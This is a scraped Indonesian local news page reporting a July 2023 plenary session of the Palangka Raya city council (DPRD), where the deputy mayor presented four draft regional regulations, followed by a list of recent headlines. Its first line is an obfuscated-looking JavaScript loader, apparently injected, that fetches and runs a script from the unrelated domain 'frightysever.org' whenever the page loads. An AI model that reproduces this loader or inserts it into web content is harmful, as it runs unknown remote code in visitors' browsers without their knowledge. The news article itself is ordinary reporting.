(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD Kota Palangka Raya

DPRD Palangka Raya Gelar Rapat Paripurna Bahas Empat Raperda Usulan


KANALKALIMANTAN.COM,PALANGKARAYA- Dewan Perwakilan Rakyat Daerah (DPRD) Palangka Raya menggelar rapat paripurna ke-5 dalam masa persidangan III tahun sidang 2023 dengan agenda utama, yakni penyampaian pidato pengantar Wali Kota Palangka Raya terhadap empat buah rancangan peraturan daerah (Raperda) yang diusulkan oleh Pemerintah Kota (Pemko) Palangka Raya.

Rapat paripurna ini dilaksanakan melalui zoom meeting dan dipimpin oleh Wakil Ketua I DPRD Palangka Raya, Wahid Yusuf, di ruang rapat komisi DPRD Palangka Raya pada Senin, 17 Juli 2023.

Hadir dalam rapat tersebut adalah Wakil Wali Kota Palangka Raya, Hj Umi Mastikah, anggota DPRD Palangka Raya, jajaran Perangkat Daerah, serta unsur Forum Koordinasi Pimpinan Daerah (Forkopimda) di lingkup Pemko Palangka Raya.

Dalam pidato pengantar yang dibacakan oleh Wakil Wali Kota Palangka Raya, Hj Umi Mastikah, dijelaskan secara rinci mengenai empat buah Raperda yang diusulkan oleh Pemko Palangka Raya.

Keempat Raperda tersebut mencakup pertanggungjawaban pelaksanaan APBD Tahun Anggaran 2022, rencana perlindungan dan pengelolaan lingkungan hidup, perubahan atas peraturan daerah nomor 6 tahun 2019 tentang pembentukan dan susunan perangkat daerah, serta pengelolaan tempat pemakaman di Kota Palangka Raya.

Usai rapat paripurna, Wakil Ketua I DPRD Palangka Raya, Wahid Yusuf, menyampaikan bahwa secara umum anggota DPRD Palangka Raya menyambut baik isi pidato pengantar Wali Kota.

Namun, setiap fraksi yang mendukung DPRD Palangka Raya akan menyampaikan pandangan, harapan, dan pendapat terkait dengan pidato Wali Kota terhadap keempat Raperda tersebut.

Wahid Yusuf menegaskan bahwa setiap fraksi akan memberikan pandangan pada setiap Raperda dalam agenda paripurna yang dijadwalkan berikutnya.

“Hal ini dilakukan agar keempat Raperda ini dapat kembali dibahas dalam tahapan lebih lanjut sesuai dengan prosedur legislatif yang berlaku,” kata Wahid.(www.kanalkalimantan.com/hms)

Editor : rdy


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.